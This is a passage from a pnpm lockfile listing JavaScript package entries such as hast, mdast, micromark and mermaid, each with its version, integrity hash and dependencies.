sha512-d6235voAp/XR3Hh5uy7aGLbM3S4KamdW0WEgOaU1YoewnuYw4HXb5eRtv9g65m/RFGEfUY1Mw4UqCc5Y8L4Stg==} - dependencies: - '@types/hast': 3.0.4 - hastscript: 8.0.0 - web-namespaces: 2.0.1 - dev: false - - /hast-util-from-html-isomorphic@2.0.0: - resolution: {integrity: sha512-zJfpXq44yff2hmE0XmwEOzdWin5xwH+QIhMLOScpX91e/NSGPsAzNCvLQDIEPyO2TXi+lBmU6hjLIhV8MwP2kw==} - dependencies: - '@types/hast': 3.0.4 - hast-util-from-dom: 5.0.0 - hast-util-from-html: 2.0.1 - unist-util-remove-position: 5.0.0 - dev: false - - /hast-util-from-html@2.0.1: - resolution: {integrity: sha512-RXQBLMl9kjKVNkJTIO6bZyb2n+cUH8LFaSSzo82jiLT6Tfc+Pt7VQCS+/h3YwG4jaNE2TA2sdJisGWR+aJrp0g==} - dependencies: - '@types/hast': 3.0.4 - devlop: 1.1.0 - hast-util-from-parse5: 8.0.1 - parse5: 7.1.2 - vfile: 6.0.1 - vfile-message: 4.0.2 - dev: false - - /hast-util-from-parse5@8.0.1: - resolution: {integrity: sha512-Er/Iixbc7IEa7r/XLtuG52zoqn/b3Xng/w6aZQ0xGVxzhw5xUFxcRqdPzP6yFi/4HBYRaifaI5fQ1RH8n0ZeOQ==} - dependencies: - '@types/hast': 3.0.4 - '@types/unist': 3.0.2 - devlop: 1.1.0 - hastscript: 8.0.0 - property-information: 6.4.1 - vfile: 6.0.1 - vfile-location: 5.0.2 - web-namespaces: 2.0.1 - dev: false - - /hast-util-is-element@3.0.0: - resolution: {integrity: sha512-Val9mnv2IWpLbNPqc/pUem+a7Ipj2aHacCwgNfTiK0vJKl0LF+4Ba4+v1oPHFpf3bLYmreq0/l3Gud9S5OH42g==} - dependencies: - '@types/hast': 3.0.4 - dev: false - - /hast-util-parse-selector@4.0.0: - resolution: {integrity: sha512-wkQCkSYoOGCRKERFWcxMVMOcYE2K1AaNLU8DXS9arxnLOUEWbOXKXiJUNzEpqZ3JOKpnha3jkFrumEjVliDe7A==} - dependencies: - '@types/hast': 3.0.4 - dev: false - - /hast-util-raw@9.0.2: - resolution: {integrity: sha512-PldBy71wO9Uq1kyaMch9AHIghtQvIwxBUkv823pKmkTM3oV1JxtsTNYdevMxvUHqcnOAuO65JKU2+0NOxc2ksA==} - dependencies: - '@types/hast': 3.0.4 - '@types/unist': 3.0.2 - '@ungap/structured-clone': 1.2.0 - hast-util-from-parse5: 8.0.1 - hast-util-to-parse5: 8.0.0 - html-void-elements: 3.0.0 - mdast-util-to-hast: 13.1.0 - parse5: 7.1.2 - unist-util-position: 5.0.0 - unist-util-visit: 5.0.0 - vfile: 6.0.1 - web-namespaces: 2.0.1 - zwitch: 2.0.4 - dev: false - - /hast-util-to-estree@2.3.3: - resolution: {integrity: sha512-ihhPIUPxN0v0w6M5+IiAZZrn0LH2uZomeWwhn7uP7avZC6TE7lIiEh2yBMPr5+zi1aUCXq6VoYRgs2Bw9xmycQ==} - dependencies: - '@types/estree': 1.0.5 - '@types/estree-jsx': 1.0.5 - '@types/hast': 2.3.10 - '@types/unist': 2.0.10 - comma-separated-tokens: 2.0.3 - estree-util-attach-comments: 2.1.1 - estree-util-is-identifier-name: 2.1.0 - hast-util-whitespace: 2.0.1 - mdast-util-mdx-expression: 1.3.2 - mdast-util-mdxjs-esm: 1.3.1 - property-information: 6.4.1 - space-separated-tokens: 2.0.2 - style-to-object: 0.4.4 - unist-util-position: 4.0.4 - zwitch: 2.0.4 - transitivePeerDependencies: - - supports-color - dev: false - - /hast-util-to-parse5@8.0.0: - resolution: {integrity: sha512-3KKrV5ZVI8if87DVSi1vDeByYrkGzg4mEfeu4alwgmmIeARiBLKCZS2uw5Gb6nU9x9Yufyj3iudm6i7nl52PFw==} - dependencies: - '@types/hast': 3.0.4 - comma-separated-tokens: 2.0.3 - devlop: 1.1.0 - property-information: 6.4.1 - space-separated-tokens: 2.0.2 - web-namespaces: 2.0.1 - zwitch: 2.0.4 - dev: false - - /hast-util-to-text@4.0.0: - resolution: {integrity: sha512-EWiE1FSArNBPUo1cKWtzqgnuRQwEeQbQtnFJRYV1hb1BWDgrAlBU0ExptvZMM/KSA82cDpm2sFGf3Dmc5Mza3w==} - dependencies: - '@types/hast': 3.0.4 - '@types/unist': 3.0.2 - hast-util-is-element: 3.0.0 - unist-util-find-after: 5.0.0 - dev: false - - /hast-util-whitespace@2.0.1: - resolution: {integrity: sha512-nAxA0v8+vXSBDt3AnRUNjyRIQ0rD+ntpbAp4LnPkumc5M9yUbSMa4XDU9Q6etY4f1Wp4bNgvc1yjiZtsTTrSng==} - dev: false - - /hastscript@8.0.0: - resolution: {integrity: sha512-dMOtzCEd3ABUeSIISmrETiKuyydk1w0pa+gE/uormcTpSYuaNJPbX1NU3JLyscSLjwAQM8bWMhhIlnCqnRvDTw==} - dependencies: - '@types/hast': 3.0.4 - comma-separated-tokens: 2.0.3 - hast-util-parse-selector: 4.0.0 - property-information: 6.4.1 - space-separated-tokens: 2.0.2 - dev: false - - /heap@0.2.7: - resolution: {integrity: sha512-2bsegYkkHO+h/9MGbn6KWcE45cHZgPANo5LXF7EvWdT0yT2EguSVO1nDgU5c8+ZOPwp2vMNa7YFsJhVcDR9Sdg==} - dev: false - - /html-void-elements@3.0.0: - resolution: {integrity: sha512-bEqo66MRXsUGxWHV5IP0PUiAWwoEjba4VCzg0LjFJBpchPaTfyfCKTG6bc5F8ucKec3q5y6qOdGyYTSBEvhCrg==} - dev: false - - /iconv-lite@0.6.3: - resolution: {integrity: sha512-4fCk79wshMdzMp2rH06qWrJE4iolqLhCUH+OiuIgU++RB0+94NlDL81atO7GX55uUKueo0txHNtvEyI6D7WdMw==} - engines: {node: '>=0.10.0'} - dependencies: - safer-buffer: 2.1.2 - dev: false - - /inline-style-parser@0.1.1: - resolution: {integrity: sha512-7NXolsK4CAS5+xvdj5OMMbI962hU/wvwoxk+LWR9Ek9bVtyuuYScDN6eS0rUm6TxApFpw7CX1o4uJzcd4AyD3Q==} - dev: false - - /internmap@1.0.1: - resolution: {integrity: sha512-lDB5YccMydFBtasVtxnZ3MRBHuaoE8GKsppq+EchKL2U4nK/DmEpPHNH8MZe5HkMtpSiTSOZwfN0tzYjO/lJEw==} - dev: false - - /internmap@2.0.3: - resolution: {integrity: sha512-5Hh7Y1wQbvY5ooGgPbDaL5iYLAPzMTUrjMulskHLH6wnv/A+1q5rgEaiuqEjB+oxGXIVZs1FF+R/KPN3ZSQYYg==} - engines: {node: '>=12'} - dev: false - - /intersection-observer@0.12.2: - resolution: {integrity: sha512-7m1vEcPCxXYI8HqnL8CKI6siDyD+eIWSwgB3DZA+ZTogxk9I4CDnj4wilt9x/+/QbHI4YG5YZNmC6458/e9Ktg==} - dev: false - - /is-alphabetical@2.0.1: - resolution: {integrity: sha512-FWyyY60MeTNyeSRpkM2Iry0G9hpr7/9kD40mD/cGQEuilcZYS4okz8SN2Q6rLCJ8gbCt6fN+rC+6tMGS99LaxQ==} - dev: false - - /is-alphanumerical@2.0.1: - resolution: {integrity: sha512-hmbYhX/9MUMF5uh7tOXyK/n0ZvWpad5caBA17GsC6vyuCqaWliRG5K1qS9inmUhEMaOBIW7/whAnSwveW/LtZw==} - dependencies: - is-alphabetical: 2.0.1 - is-decimal: 2.0.1 - dev: false - - /is-buffer@2.0.5: - resolution: {integrity: sha512-i2R6zNFDwgEHJyQUtJEk0XFi1i0dPFn/oqjK3/vPCcDeJvW5NQ83V8QbicfF1SupOaB0h8ntgBC2YiE7dfyctQ==} - engines: {node: '>=4'} - dev: false - - /is-decimal@2.0.1: - resolution: {integrity: sha512-AAB9hiomQs5DXWcRB1rqsxGUstbRroFOPPVAomNk/3XHR5JyEZChOyTWe2oayKnsSsr/kcGqF+z6yuH6HHpN0A==} - dev: false - - /is-extendable@0.1.1: - resolution: {integrity: sha512-5BMULNob1vgFX6EjQw5izWDxrecWK9AM72rugNr0TFldMOi0fj6Jk+zeKIt0xGj4cEfQIJth4w3OKWOJ4f+AFw==} - engines: {node: '>=0.10.0'} - dev: false - - /is-hexadecimal@2.0.1: - resolution: {integrity: sha512-DgZQp241c8oO6cA1SbTEWiXeoxV42vlcJxgH+B3hi1AiqqKruZR3ZGF8In3fj4+/y/7rHvlOZLZtgJ/4ttYGZg==} - dev: false - - /is-obj@3.0.0: - resolution: {integrity: sha512-IlsXEHOjtKhpN8r/tRFj2nDyTmHvcfNeu/nrRIcXE17ROeatXchkojffa1SpdqW4cr/Fj6QkEf/Gn4zf6KKvEQ==} - engines: {node: '>=12'} - dev: false - - /is-plain-obj@3.0.0: - resolution: {integrity: sha512-gwsOE28k+23GP1B6vFl1oVh/WOzmawBrKwo5Ev6wMKzPkaXaCDIQKzLnvsA42DRlbVTWorkgTKIviAKCWkfUwA==} - engines: {node: '>=10'} - dev: false - - /is-plain-obj@4.1.0: - resolution: {integrity: sha512-+Pgi+vMuUNkJyExiMBt5IlFoMyKnr5zhJ4Uspz58WOhBF5QoIZkFyNHIbBAtHwzVAgk5RtndVNsDRN61/mmDqg==} - engines: {node: '>=12'} - dev: false - - /is-reference@3.0.2: - resolution: {integrity: sha512-v3rht/LgVcsdZa3O2Nqs+NMowLOxeOm7Ay9+/ARQ2F+qEoANRcqrjAZKGN0v8ymUetZGgkp26LTnGT7H0Qo9Pg==} - dependencies: - '@types/estree': 1.0.5 - dev: false - - /is-ssh@1.4.0: - resolution: {integrity: sha512-x7+VxdxOdlV3CYpjvRLBv5Lo9OJerlYanjwFrPR9fuGPjCiNiCzFgAWpiLAohSbsnH4ZAys3SBh+hq5rJosxUQ==} - dependencies: - protocols: 2.0.1 - dev: false - - /is-stream@1.1.0: - resolution: {integrity: sha512-uQPm8kcs47jx38atAcWTVxyltQYoPT68y9aWYdV6yWXSyW8mzSat0TL6CiWdZeCdF3KrAvpVtnHbTv4RN+rqdQ==} - engines: {node: '>=0.10.0'} - dev: false - - /isexe@2.0.0: - resolution: {integrity: sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==} - dev: false - - /js-tokens@4.0.0: - resolution: {integrity: sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==} - dev: false - - /js-yaml@3.14.1: - resolution: {integrity: sha512-okMH7OXXJ7YrN9Ok3/SXrnu4iX9yOk+25nqX4imS2npuvTYDmo/QEZoqwZkYaIDk3jVvBOTOIEgEhaLOynBS9g==} - hasBin: true - dependencies: - argparse: 1.0.10 - esprima: 4.0.1 - dev: false - - /js-yaml@4.1.0: - resolution: {integrity: sha512-wpxZs9NoxZaJESJGIZTyDEaYpl0FKSA+FB9aJiyemKhMwkxQg63h4T1KJgUGHpTqPDNRcmmYLugrRjJlBtWvRA==} - hasBin: true - dependencies: - argparse: 2.0.1 - dev: false - - /jsonc-parser@3.2.1: - resolution: {integrity: sha512-AilxAyFOAcK5wA1+LeaySVBrHsGQvUFCDWXKpZjzaL0PqW+xfBOttn8GNtWKFWqneyMZj41MWF9Kl6iPWLwgOA==} - dev: false - - /katex@0.16.9: - resolution: {integrity: sha512-fsSYjWS0EEOwvy81j3vRA8TEAhQhKiqO+FQaKWp0m39qwOzHVBgAUBIXWj1pB+O2W3fIpNa6Y9KSKCVbfPhyAQ==} - hasBin: true - dependencies: - commander: 8.3.0 - dev: false - - /khroma@2.1.0: - resolution: {integrity: sha512-Ls993zuzfayK269Svk9hzpeGUKob/sIgZzyHYdjQoAdQetRKpOLj+k/QQQ/6Qi0Yz65mlROrfd+Ev+1+7dz9Kw==} - dev: false - - /kind-of@6.0.3: - resolution: {integrity: sha512-dcS1ul+9tmeD95T+x28/ehLgd9mENa3LsvDTtzm3vyBEO7RPptvAD+t44WVXaUjTBRcrpFeFlC8WCruUR456hw==} - engines: {node: '>=0.10.0'} - dev: false - - /kleur@4.1.5: - resolution: {integrity: sha512-o+NO+8WrRiQEE4/7nwRJhN1HWpVmJm511pBHUxPLtp0BUISzlBplORYSmTclCnJvQq2tKu/sgl3xVpkc7ZWuQQ==} - engines: {node: '>=6'} - dev: false - - /layout-base@1.0.2: - resolution: {integrity: sha512-8h2oVEZNktL4BH2JCOI90iD1yXwL6iNW7KcCKT2QZgQJR2vbqDsldCTPRU9NifTCqHZci57XvQQ15YTu+sTYPg==} - dev: false - - /lodash-es@4.17.21: - resolution: {integrity: sha512-mKnC+QJ9pWVzv+C4/U3rRsHapFfHvQFoFB92e52xeyGMcX6/OlIl78je1u8vePzYZSkkogMPJ2yjxxsb89cxyw==} - dev: false - - /lodash.get@4.4.2: - resolution: {integrity: sha512-z+Uw/vLuy6gQe8cfaFWD7p0wVv8fJl3mbzXh33RS+0oW2wvUqiRXiQ69gLWSLpgB5/6sU+r6BlQR0MBILadqTQ==} - dev: false - - /lodash@4.17.21: - resolution: {integrity: sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg==} - dev: false - - /longest-streak@3.1.0: - resolution: {integrity: sha512-9Ri+o0JYgehTaVBBDoMqIl8GXtbWg711O3srftcHhZ0dqnETqLaoIK0x17fUw9rFSlK/0NlsKe0Ahhyl5pXE2g==} - dev: false - - /loose-envify@1.4.0: - resolution: {integrity: sha512-lyuxPGr/Wfhrlem2CL/UcnUc1zcqKAImBDzukY7Y5F/yQiNdko6+fRLevlw1HgMySw7f611UIY408EtxRSoK3Q==} - hasBin: true - dependencies: - js-tokens: 4.0.0 - dev: false - - /lru-cache@4.1.5: - resolution: {integrity: sha512-sWZlbEP2OsHNkXrMl5GYk/jKk70MBng6UU4YI/qGDYbgf6YbP4EvmqISbXCoJiRKs+1bSpFHVgQxvJ17F2li5g==} - dependencies: - pseudomap: 1.0.2 - yallist: 2.1.2 - dev: false - - /markdown-extensions@1.1.1: - resolution: {integrity: sha512-WWC0ZuMzCyDHYCasEGs4IPvLyTGftYwh6wIEOULOF0HXcqZlhwRzrK0w2VUlxWA98xnvb/jszw4ZSkJ6ADpM6Q==} - engines: {node: '>=0.10.0'} - dev: false - - /markdown-table@3.0.3: - resolution: {integrity: sha512-Z1NL3Tb1M9wH4XESsCDEksWoKTdlUafKc4pt0GRwjUyXaCFZ+dc3g2erqB6zm3szA2IUSi7VnPI+o/9jnxh9hw==} - dev: false - - /match-sorter@6.3.4: - resolution: {integrity: sha512-jfZW7cWS5y/1xswZo8VBOdudUiSd9nifYRWphc9M5D/ee4w4AoXLgBEdRbgVaxbMuagBPeUC5y2Hi8DO6o9aDg==} - dependencies: - '@babel/runtime': 7.24.1 - remove-accents: 0.5.0 - dev: false - - /mdast-util-definitions@5.1.2: - resolution: {integrity: sha512-8SVPMuHqlPME/z3gqVwWY4zVXn8lqKv/pAhC57FuJ40ImXyBpmO5ukh98zB2v7Blql2FiHjHv9LVztSIqjY+MA==} - dependencies: - '@types/mdast': 3.0.15 - '@types/unist': 2.0.10 - unist-util-visit: 4.1.2 - dev: false - - /mdast-util-find-and-replace@2.2.2: - resolution: {integrity: sha512-MTtdFRz/eMDHXzeK6W3dO7mXUlF82Gom4y0oOgvHhh/HXZAGvIQDUvQ0SuUx+j2tv44b8xTHOm8K/9OoRFnXKw==} - dependencies: - '@types/mdast': 3.0.15 - escape-string-regexp: 5.0.0 - unist-util-is: 5.2.1 - unist-util-visit-parents: 5.1.3 - dev: false - - /mdast-util-from-markdown@1.3.1: - resolution: {integrity: sha512-4xTO/M8c82qBcnQc1tgpNtubGUW/Y1tBQ1B0i5CtSoelOLKFYlElIr3bvgREYYO5iRqbMY1YuqZng0GVOI8Qww==} - dependencies: - '@types/mdast': 3.0.15 - '@types/unist': 2.0.10 - decode-named-character-reference: 1.0.2 - mdast-util-to-string: 3.2.0 - micromark: 3.2.0 - micromark-util-decode-numeric-character-reference: 1.1.0 - micromark-util-decode-string: 1.1.0 - micromark-util-normalize-identifier: 1.1.0 - micromark-util-symbol: 1.1.0 - micromark-util-types: 1.1.0 - unist-util-stringify-position: 3.0.3 - uvu: 0.5.6 - transitivePeerDependencies: - - supports-color - dev: false - - /mdast-util-gfm-autolink-literal@1.0.3: - resolution: {integrity: sha512-My8KJ57FYEy2W2LyNom4n3E7hKTuQk/0SES0u16tjA9Z3oFkF4RrC/hPAPgjlSpezsOvI8ObcXcElo92wn5IGA==} - dependencies: - '@types/mdast': 3.0.15 - ccount: 2.0.1 - mdast-util-find-and-replace: 2.2.2 - micromark-util-character: 1.2.0 - dev: false - - /mdast-util-gfm-footnote@1.0.2: - resolution: {integrity: sha512-56D19KOGbE00uKVj3sgIykpwKL179QsVFwx/DCW0u/0+URsryacI4MAdNJl0dh+u2PSsD9FtxPFbHCzJ78qJFQ==} - dependencies: - '@types/mdast': 3.0.15 - mdast-util-to-markdown: 1.5.0 - micromark-util-normalize-identifier: 1.1.0 - dev: false - - /mdast-util-gfm-strikethrough@1.0.3: - resolution: {integrity: sha512-DAPhYzTYrRcXdMjUtUjKvW9z/FNAMTdU0ORyMcbmkwYNbKocDpdk+PX1L1dQgOID/+vVs1uBQ7ElrBQfZ0cuiQ==} - dependencies: - '@types/mdast': 3.0.15 - mdast-util-to-markdown: 1.5.0 - dev: false - - /mdast-util-gfm-table@1.0.7: - resolution: {integrity: sha512-jjcpmNnQvrmN5Vx7y7lEc2iIOEytYv7rTvu+MeyAsSHTASGCCRA79Igg2uKssgOs1i1po8s3plW0sTu1wkkLGg==} - dependencies: - '@types/mdast': 3.0.15 - markdown-table: 3.0.3 - mdast-util-from-markdown: 1.3.1 - mdast-util-to-markdown: 1.5.0 - transitivePeerDependencies: - - supports-color - dev: false - - /mdast-util-gfm-task-list-item@1.0.2: - resolution: {integrity: sha512-PFTA1gzfp1B1UaiJVyhJZA1rm0+Tzn690frc/L8vNX1Jop4STZgOE6bxUhnzdVSB+vm2GU1tIsuQcA9bxTQpMQ==} - dependencies: - '@types/mdast': 3.0.15 - mdast-util-to-markdown: 1.5.0 - dev: false - - /mdast-util-gfm@2.0.2: - resolution: {integrity: sha512-qvZ608nBppZ4icQlhQQIAdc6S3Ffj9RGmzwUKUWuEICFnd1LVkN3EktF7ZHAgfcEdvZB5owU9tQgt99e2TlLjg==} - dependencies: - mdast-util-from-markdown: 1.3.1 - mdast-util-gfm-autolink-literal: 1.0.3 - mdast-util-gfm-footnote: 1.0.2 - mdast-util-gfm-strikethrough: 1.0.3 - mdast-util-gfm-table: 1.0.7 - mdast-util-gfm-task-list-item: 1.0.2 - mdast-util-to-markdown: 1.5.0 - transitivePeerDependencies: - - supports-color - dev: false - - /mdast-util-math@2.0.2: - resolution: {integrity: sha512-8gmkKVp9v6+Tgjtq6SYx9kGPpTf6FVYRa53/DLh479aldR9AyP48qeVOgNZ5X7QUK7nOy4yw7vg6mbiGcs9jWQ==} - dependencies: - '@types/mdast': 3.0.15 - longest-streak: 3.1.0 - mdast-util-to-markdown: 1.5.0 - dev: false - - /mdast-util-mdx-expression@1.3.2: - resolution: {integrity: sha512-xIPmR5ReJDu/DHH1OoIT1HkuybIfRGYRywC+gJtI7qHjCJp/M9jrmBEJW22O8lskDWm562BX2W8TiAwRTb0rKA==} - dependencies: - '@types/estree-jsx': 1.0.5 - '@types/hast': 2.3.10 - '@types/mdast': 3.0.15 - mdast-util-from-markdown: 1.3.1 - mdast-util-to-markdown: 1.5.0 - transitivePeerDependencies: - - supports-color - dev: false - - /mdast-util-mdx-jsx@2.1.4: - resolution: {integrity: sha512-DtMn9CmVhVzZx3f+optVDF8yFgQVt7FghCRNdlIaS3X5Bnym3hZwPbg/XW86vdpKjlc1PVj26SpnLGeJBXD3JA==} - dependencies: - '@types/estree-jsx': 1.0.5 - '@types/hast': 2.3.10 - '@types/mdast': 3.0.15 - '@types/unist': 2.0.10 - ccount: 2.0.1 - mdast-util-from-markdown: 1.3.1 - mdast-util-to-markdown: 1.5.0 - parse-entities: 4.0.1 - stringify-entities: 4.0.3 - unist-util-remove-position: 4.0.2 - unist-util-stringify-position: 3.0.3 - vfile-message: 3.1.4 - transitivePeerDependencies: - - supports-color - dev: false - - /mdast-util-mdx@2.0.1: - resolution: {integrity: sha512-38w5y+r8nyKlGvNjSEqWrhG0w5PmnRA+wnBvm+ulYCct7nsGYhFVb0lljS9bQav4psDAS1eGkP2LMVcZBi/aqw==} - dependencies: - mdast-util-from-markdown: 1.3.1 - mdast-util-mdx-expression: 1.3.2 - mdast-util-mdx-jsx: 2.1.4 - mdast-util-mdxjs-esm: 1.3.1 - mdast-util-to-markdown: 1.5.0 - transitivePeerDependencies: - - supports-color - dev: false - - /mdast-util-mdxjs-esm@1.3.1: - resolution: {integrity: sha512-SXqglS0HrEvSdUEfoXFtcg7DRl7S2cwOXc7jkuusG472Mmjag34DUDeOJUZtl+BVnyeO1frIgVpHlNRWc2gk/w==} - dependencies: - '@types/estree-jsx': 1.0.5 - '@types/hast': 2.3.10 - '@types/mdast': 3.0.15 - mdast-util-from-markdown: 1.3.1 - mdast-util-to-markdown: 1.5.0 - transitivePeerDependencies: - - supports-color - dev: false - - /mdast-util-phrasing@3.0.1: - resolution: {integrity: sha512-WmI1gTXUBJo4/ZmSk79Wcb2HcjPJBzM1nlI/OUWA8yk2X9ik3ffNbBGsU+09BFmXaL1IBb9fiuvq6/KMiNycSg==} - dependencies: - '@types/mdast': 3.0.15 - unist-util-is: 5.2.1 - dev: false - - /mdast-util-to-hast@12.3.0: - resolution: {integrity: sha512-pits93r8PhnIoU4Vy9bjW39M2jJ6/tdHyja9rrot9uujkN7UTU9SDnE6WNJz/IGyQk3XHX6yNNtrBH6cQzm8Hw==} - dependencies: - '@types/hast': 2.3.10 - '@types/mdast': 3.0.15 - mdast-util-definitions: 5.1.2 - micromark-util-sanitize-uri: 1.2.0 - trim-lines: 3.0.1 - unist-util-generated: 2.0.1 - unist-util-position: 4.0.4 - unist-util-visit: 4.1.2 - dev: false - - /mdast-util-to-hast@13.1.0: - resolution: {integrity: sha512-/e2l/6+OdGp/FB+ctrJ9Avz71AN/GRH3oi/3KAx/kMnoUsD6q0woXlDT8lLEeViVKE7oZxE7RXzvO3T8kF2/sA==} - dependencies: - '@types/hast': 3.0.4 - '@types/mdast': 4.0.3 - '@ungap/structured-clone': 1.2.0 - devlop: 1.1.0 - micromark-util-sanitize-uri: 2.0.0 - trim-lines: 3.0.1 - unist-util-position: 5.0.0 - unist-util-visit: 5.0.0 - vfile: 6.0.1 - dev: false - - /mdast-util-to-markdown@1.5.0: - resolution: {integrity: sha512-bbv7TPv/WC49thZPg3jXuqzuvI45IL2EVAr/KxF0BSdHsU0ceFHOmwQn6evxAh1GaoK/6GQ1wp4R4oW2+LFL/A==} - dependencies: - '@types/mdast': 3.0.15 - '@types/unist': 2.0.10 - longest-streak: 3.1.0 - mdast-util-phrasing: 3.0.1 - mdast-util-to-string: 3.2.0 - micromark-util-decode-string: 1.1.0 - unist-util-visit: 4.1.2 - zwitch: 2.0.4 - dev: false - - /mdast-util-to-string@3.2.0: - resolution: {integrity: sha512-V4Zn/ncyN1QNSqSBxTrMOLpjr+IKdHl2v3KVLoWmDPscP4r9GcCi71gjgvUV1SFSKh92AjAG4peFuBl2/YgCJg==} - dependencies: - '@types/mdast': 3.0.15 - dev: false - - /mermaid@10.9.0: - resolution: {integrity: sha512-swZju0hFox/B/qoLKK0rOxxgh8Cf7rJSfAUc1u8fezVihYMvrJAS45GzAxTVf4Q+xn9uMgitBcmWk7nWGXOs/g==} - dependencies: - '@braintree/sanitize-url': 6.0.4 - '@types/d3-scale': 4.0.8 - '@types/d3-scale-chromatic': 3.0.3 - cytoscape: 3.28.1 - cytoscape-cose-bilkent: 4.1.0(cytoscape@3.28.1) - d3: 7.9.0 - d3-sankey: 0.12.3 - dagre-d3-es: 7.0.10 - dayjs: 1.11.10 - dompurify: 3.0.11 - elkjs: 0.9.2 - katex: 0.16.9 - khroma: 2.1.0 - lodash-es: 4.17.21 - mdast-util-from-markdown: 1.3.1 - non-layered-tidy-tree-layout: 2.0.2 - stylis: 4.3.1 - ts-dedent: 2.2.0 - uuid: 9.0.1 - web-worker: 1.3.0 - transitivePeerDependencies: - - supports-color - dev: false - - /micromark-core-commonmark@1.1.0: - resolution: {integrity: sha512-BgHO1aRbolh2hcrzL2d1La37V0Aoz73ymF8rAcKnohLy93titmv62E0gP8Hrx9PKcKrqCZ1BbLGbP3bEhoXYlw==} - dependencies: - decode-named-character-reference: 1.0.2 - micromark-factory-destination: 1.1.0 - micromark-factory-label: 1.1.0 - micromark-factory-space: 1.1.0 - micromark-factory-title: 1.1.0 - micromark-factory-whitespace: 1.1.0 - micromark-util-character: 1.2.0 - micromark-util-chunked: 1.1.0 - micromark-util-classify-character: 1.1.0 - micromark-util-html-tag-name: 1.2.0 - micromark-util-normalize-identifier: 1.1.0 - micromark-util-resolve-all: 1.1.0 - micromark-util-subtokenize: 1.1.0 - micromark-util-symbol: 1.1.0 - micromark-util-types: 1.1.0 - uvu: 0.5.6 - dev: false - - /micromark-extension-gfm-autolink-literal@1.0.5: - resolution: {integrity: sha512-z3wJSLrDf8kRDOh2qBtoTRD53vJ+CWIyo7uyZuxf/JAbNJjiHsOpG1y5wxk8drtv3ETAHutCu6N3thkOOgueWg==} - dependencies: - micromark-util-character: 1.2.0 - micromark-util-sanitize-uri: 1.2.0 - micromark-util-symbol: 1.1.0 - micromark-util-types: 1.1.0 - dev: false - - /micromark-extension-gfm-footnote@1.1.2: - resolution: {integrity: sha512-Yxn7z7SxgyGWRNa4wzf8AhYYWNrwl5q1Z8ii+CSTTIqVkmGZF1CElX2JI8g5yGoM3GAman9/PVCUFUSJ0kB/8Q==} - dependencies: - micromark-core-commonmark: 1.1.0 - micromark-factory-space: 1.1.0 - micromark-util-character: 1.2.0 - micromark-util-normalize-identifier: 1.1.0 - micromark-util-sanitize-uri: 1.2.0 - micromark-util-symbol: 1.1.0 - micromark-util-types: 1.1.0 - uvu: 0.5.6 - dev: false - - /micromark-extension-gfm-strikethrough@1.0.7: - resolution: {integrity: sha512-sX0FawVE1o3abGk3vRjOH50L5TTLr3b5XMqnP9YDRb34M0v5OoZhG+OHFz1OffZ9dlwgpTBKaT4XW/AsUVnSDw==} - dependencies: - micromark-util-chunked: 1.1.0 - micromark-util-classify-character: 1.1.0 - micromark-util-resolve-all: 1.1.0 - micromark-util-symbol: 1.1.0 - micromark-util-types: 1.1.0 - uvu: 0.5.6 - dev: false - - /micromark-extension-gfm-table@1.0.7: - resolution: {integrity: sha512-3ZORTHtcSnMQEKtAOsBQ9/oHp9096pI/UvdPtN7ehKvrmZZ2+bbWhi0ln+I9drmwXMt5boocn6OlwQzNXeVeqw==} - dependencies: - micromark-factory-space: 1.1.0 - micromark-util-character: 1.2.0 - micromark-util-symbol: 1.1.0 - micromark-util-types: 1.1.0 - uvu: 0.5.6 - dev: false - - /micromark-extension-gfm-tagfilter@1.0.2: - resolution: {integrity: sha512-5XWB9GbAUSHTn8VPU8/1DBXMuKYT5uOgEjJb8gN3mW0PNW5OPHpSdojoqf+iq1xo7vWzw/P8bAHY0n6ijpXF7g==} - dependencies: - micromark-util-types: 1.1.0 - dev: false - - /micromark-extension-gfm-task-list-item@1.0.5: - resolution: {integrity: sha512-RMFXl2uQ0pNQy6Lun2YBYT9g9INXtWJULgbt01D/x8/6yJ2qpKyzdZD3pi6UIkzF++Da49xAelVKUeUMqd5eIQ==} - dependencies: - micromark-factory-space: 1.1.0 - micromark-util-character: 1.2.0 - micromark-util-symbol: 1.1.0 - micromark-util-types: 1.1.0 - uvu: 0.5.6 - dev: false - - /micromark-extension-gfm@2.0.3: - resolution: {integrity: sha512-vb9OoHqrhCmbRidQv/2+Bc6pkP0FrtlhurxZofvOEy5o8RtuuvTq+RQ1Vw5ZDNrVraQZu3HixESqbG+0iKk/MQ==} - dependencies: - micromark-extension-gfm-autolink-literal: 1.0.5 - micromark-extension-gfm-footnote: 1.1.2 - micromark-extension-gfm-strikethrough: 1.0.7 - micromark-extension-gfm-table: 1.0.7 - micromark-extension-gfm-tagfilter: 1.0.2 - micromark-extension-gfm-task-list-item: 1.0.5 - micromark-util-combine-extensions: 1.1.0 - micromark-util-types: 1.1.0 - dev: false - - /micromark-extension-math@2.1.2: - resolution: {integrity: sha512-es0CcOV89VNS9wFmyn+wyFTKweXGW4CEvdaAca6SWRWPyYCbBisnjaHLjWO4Nszuiud84jCpkHsqAJoa768Pvg==} - dependencies: - '@types/katex': 0.16.7 - katex: 0.16.9 - micromark-factory-space: 1.1.0 - micromark-util-character: 1.2.0 - micromark-util-symbol: 1.1.0 - micromark-util-types: 1.1.0 - uvu: 0.5.6 - dev: false - - /micromark-extension-mdx-expression@1.0.8: - resolution: {integrity: sha512-zZpeQtc5wfWKdzDsHRBY003H2Smg+PUi2REhqgIhdzAa5xonhP03FcXxqFSerFiNUr5AWmHpaNPQTBVOS4lrXw==} - dependencies: - '@types/estree': 1.0.5 - micromark-factory-mdx-expression: 1.0.9 - micromark-factory-space: 1.1.0 - micromark-util-character: 1.2.0 - micromark-util-events-to-acorn: 1.2.3 - micromark-util-symbol: 1.1.0 - micromark-util-types: 1.1.0 - uvu: 0.5.6 - dev: false - - /micromark-extension-mdx-jsx@1.0.5: - resolution: {integrity: sha512-gPH+9ZdmDflbu19Xkb8+gheqEDqkSpdCEubQyxuz/Hn8DOXiXvrXeikOoBA71+e8Pfi0/UYmU3wW3H58kr7akA==} - dependencies: - '@types/acorn': 4.0.6 - '@types/estree': 